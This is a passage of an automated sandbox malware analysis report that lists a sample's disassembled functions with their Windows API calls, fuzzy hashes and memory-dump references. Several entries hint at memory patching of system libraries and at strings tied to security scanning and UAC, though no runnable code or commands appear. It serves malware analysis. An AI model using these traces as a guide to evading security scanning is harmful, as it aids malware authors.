Part of subcall function 031C7F98: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,031D3900,031D5D11,00000000,031D5D74,?,?,031D3900,00000001), ref: 031C7FB7

GetLastError.KERNEL32(00000000,031D5D74,?,?,031D3900,00000001), ref: 031D5D1B

Part of subcall function 031CA778: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,031CC3D9,00000000,031CC433), ref: 031CA797

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: CreateErrorFileLast$FormatFullMessageNamePath
String ID:
API String ID: 503785936-0
Opcode ID: 993e9162c2331374ce41db6d2141dbdb149b82f11ac98688b2a451200280d178
Instruction ID: 5cd3799ede61de5184bf5ce98243492592ff3ef33eda5cf3b4c94fd9956a3fa7
Opcode Fuzzy Hash: 993e9162c2331374ce41db6d2141dbdb149b82f11ac98688b2a451200280d178
Instruction Fuzzy Hash: A031B338A047899FDB01EFA8C8817DDBBF5AF1E700F508069D514AF380DB7559048BA1

Function 031DF212 Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,0333BA58), ref: 031DF258
RegSetValueExA.ADVAPI32(0000089C,00000000,00000000,00000001,00000000,0000001C,00000000,031DF2C3), ref: 031DF290
RegCloseKey.ADVAPI32(0000089C,0000089C,00000000,00000000,00000001,00000000,0000001C,00000000,031DF2C3), ref: 031DF29B

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 8a646a491d262940c4eb15864a770592ee30e87657d16fbc1b19fd915c872701
Instruction ID: 08cd4b4e108d43d17fb3f75b23432ae40448a90cac345abfe53809da7e67e390
Opcode Fuzzy Hash: 8a646a491d262940c4eb15864a770592ee30e87657d16fbc1b19fd915c872701
Instruction Fuzzy Hash: 37116A79618388AFDB01EFA9D891E9EBBFCEB1C300F504429B404DB654DB30EE008B50

Function 031DF214 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,0333BA58), ref: 031DF258
RegSetValueExA.ADVAPI32(0000089C,00000000,00000000,00000001,00000000,0000001C,00000000,031DF2C3), ref: 031DF290
RegCloseKey.ADVAPI32(0000089C,0000089C,00000000,00000000,00000001,00000000,0000001C,00000000,031DF2C3), ref: 031DF29B

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 2ec1a98859d80129217b147c314aec18ead659b26daf2735f1ec6163baf6276a
Instruction ID: 66215147538bfe6899d6ba5051f5e3c203b2a62b9643400cf49955c05f32c09f
Opcode Fuzzy Hash: 2ec1a98859d80129217b147c314aec18ead659b26daf2735f1ec6163baf6276a
Instruction Fuzzy Hash: 08118C79618388AFDB01EFA9D891E9EBBFCEB1C300F504429F404DB654DB30EA008B50

Function 031CE364 Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 031CE373

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 90f588012faa577b6bf270a08ac859a3486f47609fd39f2c6025e50af90de6e6
Instruction ID: 2194f70144f3c57d4d6690273022e6bfb8a096b758b51043921776f2392e4936
Opcode Fuzzy Hash: 90f588012faa577b6bf270a08ac859a3486f47609fd39f2c6025e50af90de6e6
Instruction Fuzzy Hash: B9F0C268738280C7CB24FB39CD8456A27985F7C342714347EA40A9F105CB65ED86C3B3

Function 031C4D50 Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(031DF4A4), ref: 031C4C6E
SysAllocStringLen.OLEAUT32(?,?), ref: 031C4D5B
SysFreeString.OLEAUT32(00000000), ref: 031C4D6D

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 14a39e70b1f36bc65fa893dbd8748944ab5609f9adeb0f78e0d3211148921afc
Instruction ID: 5cb82894392228de8eb03fcea344f38ac1998289cbd96fade51cae6335cbee1c
Opcode Fuzzy Hash: 14a39e70b1f36bc65fa893dbd8748944ab5609f9adeb0f78e0d3211148921afc
Instruction Fuzzy Hash: EDE0E6FC1253856FEF15DF229D50A76A2299FED640B28446C9401CD164DB38D841552C

Function 031D70DC Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 031D73DA

Strings

H, xrefs: 031D7191

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: 66a4979ca4d9748bb100005ce78da06a5ada8dbfd7777618d4489a826eaa170b
Instruction ID: 16325dc0a77af5691910808f8308f19b717bf148e05d59137f8f25dcad21ca44
Opcode Fuzzy Hash: 66a4979ca4d9748bb100005ce78da06a5ada8dbfd7777618d4489a826eaa170b
Instruction Fuzzy Hash: 09B1E279A01648AFDB15CF99D880A9DFBF6FF8E310F1581A9E845AB360D730A845CF50

Function 031CE760 Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32(00000000,00000000), ref: 031CE781

Part of subcall function 031CE364: VariantClear.OLEAUT32(?), ref: 031CE373

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: d52ad760c8a665ee56ef74411318a817dacf007b104570a69c44ffccaa254b23
Instruction ID: 99b80b9a0ae7b93a5b0144f8ed16bf888a8e0cb196c78faccc650f577c93d29e
Opcode Fuzzy Hash: d52ad760c8a665ee56ef74411318a817dacf007b104570a69c44ffccaa254b23
Instruction Fuzzy Hash: B811C22873039087C734EF29C8C496A7BD9BFAC652B05846DE40A8F209DB30CC41C6F2

Function 031CE3FC Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 031CE43C

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: 458e4d06f1799b5729ae68d348952cc690d90e63046cc57c07287c19de318b53
Instruction ID: d8f3b065703ae1b6e1c91297f77b5bc3d5fa213078148070da31ba41650ace60
Opcode Fuzzy Hash: 458e4d06f1799b5729ae68d348952cc690d90e63046cc57c07287c19de318b53
Instruction Fuzzy Hash: 2F317375620288AFDB14DFA8D8889EEB7FCEB1C202F484569F904D7240D334E990CBB1

Function 031D89D0 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 031D81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031D823C,?,?,00000000,?,031D7A7E,ntdll,00000000,00000000,031D7AC3,?,?,00000000), ref: 031D820A
Part of subcall function 031D81CC: GetModuleHandleA.KERNELBASE(?), ref: 031D821E

Part of subcall function 031D8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031D82FC,?,?,00000000,00000000,?,031D8215,00000000,KernelBASE,00000000,00000000,031D823C), ref: 031D82C1
Part of subcall function 031D8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031D82C7
Part of subcall function 031D8274: GetProcAddress.KERNEL32(?,?), ref: 031D82D9

Part of subcall function 031D7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 031D7DEC

Part of subcall function 031D8338: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,031D83C2), ref: 031D83A4

FreeLibrary.KERNEL32(74AE0000,00000000,00000000,00000000,00000000,0324738C,Function_0000662C,00000004,0324739C,0324738C,05F5E103,00000040,032473A0,74AE0000,00000000,00000000), ref: 031D8AAA

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$CacheFlushFreeInstructionLibraryMemoryVirtualWrite
String ID:
API String ID: 1478290883-0
Opcode ID: 5f4219f007b76ffe1fc2cdaf2901152bda2ddb47711e02c3178dc5c39c0f45cb
Instruction ID: 7f3d6cb9e4f59de377262a07d676f40029fad709f871e39ddaaf78e152114956
Opcode Fuzzy Hash: 5f4219f007b76ffe1fc2cdaf2901152bda2ddb47711e02c3178dc5c39c0f45cb
Instruction Fuzzy Hash: D92193B8764344BFDB00FBB9DC12B5D7BE8DB1DA00F510464B934EF281EB74A9408618

Function 031D6D6C Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,031D6DB9,?,?,?,00000000), ref: 031D6D99

Part of subcall function 031C4C60: SysFreeString.OLEAUT32(031DF4A4), ref: 031C4C6E

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: 7ee9fc7feeecc88b092064665793714572e9ccefa5fa4bc7e105386b5353d974
Instruction ID: bf825952499dedcdfad5313bc5414f8a5b3847b7021c297d3399ffe2a9f822d3
Opcode Fuzzy Hash: 7ee9fc7feeecc88b092064665793714572e9ccefa5fa4bc7e105386b5353d974
Instruction Fuzzy Hash: 51E0E5392147487FD312FB66EC61D9E77BCDB9F600B9204B4E400A7514DB316D0080A0

Function 031C5868 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(031C0000,?,00000105), ref: 031C5886

Part of subcall function 031C5ACC: GetModuleFileNameA.KERNEL32(00000000,?,00000105,031C0000,031EE790), ref: 031C5AE8
Part of subcall function 031C5ACC: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,031C0000,031EE790), ref: 031C5B06
Part of subcall function 031C5ACC: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,031C0000,031EE790), ref: 031C5B24
Part of subcall function 031C5ACC: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 031C5B42
Part of subcall function 031C5ACC: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,031C5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 031C5B8B
Part of subcall function 031C5ACC: RegQueryValueExA.ADVAPI32(?,031C5D38,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,031C5BD1,?,80000001), ref: 031C5BA9
Part of subcall function 031C5ACC: RegCloseKey.ADVAPI32(?,031C5BD8,00000000,?,?,00000000,031C5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 031C5BCB

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 450f0b7c147cec959141904987b0b6e2a54cef4eccdf5940c5d91eecae94a061
Instruction ID: 31d6ade9cd0247c7eaefa726517a2e78c149833541a4ee93d1948c6c5f064c4d
Opcode Fuzzy Hash: 450f0b7c147cec959141904987b0b6e2a54cef4eccdf5940c5d91eecae94a061
Instruction Fuzzy Hash: 05E06D71A103149FCB10DEADC8C1A4633D8AB1D650F0809A5ED54CF246D7B1E92087D1

Function 031C7DE0 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 031C7DF4

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
Instruction ID: ef2ebdf20965e583376b424c72957558cae68124c4e4ae245c01be35b278845f
Opcode Fuzzy Hash: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
Instruction Fuzzy Hash: B5D05BB63192907BE224D65A5D44DA75BDCCFCA770F14067DF568C7180D7608C01C671

Function 031C7E5C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,031E041F,ScanString,03247380,031EB7B8,OpenSession,03247380,031EB7B8,ScanString,03247380,031EB7B8,UacScan,03247380,031EB7B8,UacInitialize), ref: 031C7E67

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: f0603f79c985abbd9e467084389eeeab23f229ce479b25f1777e651fb4263a00
Instruction ID: e95599b3583b5f712a5ea9706709662a36cc02667f1cb0fc95cbe2ec4ab7a980
Opcode Fuzzy Hash: f0603f79c985abbd9e467084389eeeab23f229ce479b25f1777e651fb4263a00
Instruction Fuzzy Hash: FAC08CB62353800F5E50E5BC2CC4259D389092C03436C0A29E438C62E2D76298B22810

Function 031C7E80 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,031E356F,ScanString,03247380,031EB7B8,OpenSession,03247380,031EB7B8,ScanBuffer,03247380,031EB7B8,OpenSession,03247380,031EB7B8,Initialize), ref: 031C7E8B

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 3467ccafc9b080e3920a03b803a7582c061543677b4cd7e3fb3217d71785ba3f
Instruction ID: 6248fd49f7cddc3140c185fcd827b6b08d96f2a3a678eaffaaf374631816b64f
Opcode Fuzzy Hash: 3467ccafc9b080e3920a03b803a7582c061543677b4cd7e3fb3217d71785ba3f
Instruction Fuzzy Hash: 04C08CF72353D00F5E60E5BC1CC51A9438809AC0357681E69E438CA2C1D75698322820

Function 031C4C78 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 031C4C8B

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 8f59a01dc2def63d57c38a763d75440e0a15885831eefe8f9f31431ff0765006
Instruction ID: 29e806f4b314be0f1ad3c434983a783eac21cec3ddde6315c40a5cc21d5d3dfe
Opcode Fuzzy Hash: 8f59a01dc2def63d57c38a763d75440e0a15885831eefe8f9f31431ff0765006
Instruction Fuzzy Hash: 09C012AA66427057EB22D69AACC0752A2DC9B2D294B1804A59404DB261E760DC004294

Function 031EC35C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,031EC350,00000000,00000001), ref: 031EC36C

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: da025839a00e95888db751e94552557f88ae2327607366114cf0003c7f3b0773
Instruction ID: 517cbda2056ca2872ce064a9f863d6de7a659ddfb3c1a3ed25980f3e82937899
Opcode Fuzzy Hash: da025839a00e95888db751e94552557f88ae2327607366114cf0003c7f3b0773
Instruction Fuzzy Hash: B3C048B13A0B802BFA10A6A55CD2F32669CD31AB12F104015B608AE2C5D3A358004AA4

Function 031C4C38 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 031C4C3F

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: deef39a2cc415ea7aa2211a8cf66897036e36a853147c6e932415ea0be047887
Instruction ID: fd09297a04eed1de3aedb8160388f8f7dcaec2aa0ddd557c11b6833dc9e427b7
Opcode Fuzzy Hash: deef39a2cc415ea7aa2211a8cf66897036e36a853147c6e932415ea0be047887
Instruction Fuzzy Hash: 88B0922927C2C127EB19A2630E207B2804C0B7C582F8910689E16C80A1EF00C8024039

Function 031C4C50 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 031C4C57

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: ae581ebb92addf67a3a65b39d43af7ed10248a7cf14a7419a8a23d03648cf3b3
Instruction ID: 66fa8afc497e881b050301a53e24da1ffb86475fe9f37b780138f980fad85f93
Opcode Fuzzy Hash: ae581ebb92addf67a3a65b39d43af7ed10248a7cf14a7419a8a23d03648cf3b3
Instruction Fuzzy Hash: 92A0129C014342178B076219002001A51212EE8100398C4AC0100090114F2584006054

Function 031C15CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,031C1A03,?,031C2000), ref: 031C15E2

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
